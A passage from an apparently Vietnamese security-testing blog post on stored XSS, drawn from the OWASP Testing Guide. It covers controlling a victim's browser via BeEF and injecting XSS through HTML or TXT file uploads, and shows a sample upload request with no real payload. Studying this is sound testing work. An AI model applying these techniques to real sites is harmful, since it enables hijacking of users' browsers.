0px;"> </span></div> </li> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; color: #252525; cursor: text; direction: ltr; font-family: "Arial,Times New Roman", sans-serif; font-size: 10.5pt; margin: 0px 0px 0px 25px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{251}" paraid="1733565930" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">Control the application user’s browser via the BeEF console</span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </li> </ul> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{254}" paraid="1621755228" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: windowtext; font-size: 6pt; margin-left: 25px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; font-weight: bold; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">Upload File</span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{e4a7fcd0-9181-4d2d-a002-ec5770cdefb4}{3}" paraid="2134166951" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: windowtext; font-size: 6pt; margin-left: 25px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 17px; margin: 0px; padding: 0px;" xml:lang="EN-US">Nếu</span><span class="TextRun SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 17px; margin: 0px; padding: 0px;" xml:lang="EN-US"> ứng dụng web cho phép upload file, ta phải kiểm tra xem nó có cho ta tải lên các nội dung HTML hay không. Trong TH các tệp tin HTML hay TXT được phép tải lên, ta có thể injected XSS vào các file đó. </span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 17px; margin: 0px; padding: 0px;"> </span></div> </div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{e4a7fcd0-9181-4d2d-a002-ec5770cdefb4}{6}" paraid="2053326753" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: windowtext; font-size: 6pt; margin-left: 25px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 17px; margin: 0px; padding: 0px;" xml:lang="EN-US">Post HTTP upload file:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 17px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{e4a7fcd0-9181-4d2d-a002-ec5770cdefb4}{9}" paraid="31178218" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">POST /fileupload.aspx HTTP/1.1</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{e4a7fcd0-9181-4d2d-a002-ec5770cdefb4}{12}" paraid="1505009092" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">[…]</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{e4a7fcd0-9181-4d2d-a002-ec5770cdefb4}{14}" paraid="460705030" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{e4a7fcd0-9181-4d2d-a002-ec5770cdefb4}{17}" paraid="1881057920" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{e4a7fcd0-9181-4d2d-a002-ec5770cdefb4}{20}" paraid="3308123" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">Content-Type: text/plain</span><span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">test</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{e4a7fcd0-9181-4d2d-a002-ec5770cdefb4}{31}" paraid="1691102924" style="background-color: transparent; margin-left: 72px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <div style="text-align: right;"> <span style="color: #252525; font-family: arial, sans-serif;"><span style="font-size: 14px; line-height: 16px;"><i>Nguồn: OWASP Testing Guide v4</i></span></span></div> </div> </div>

Kiểm tra lỗi Reflected Cross site scripting(XSS)

Là một dạng tấn công mà các mã tấn công không nhất thiết phải lưu trữ trên ứng dụng web. Chỉ cần victim mở một link của bên thứ ba hoặc m...

Đọc thêm »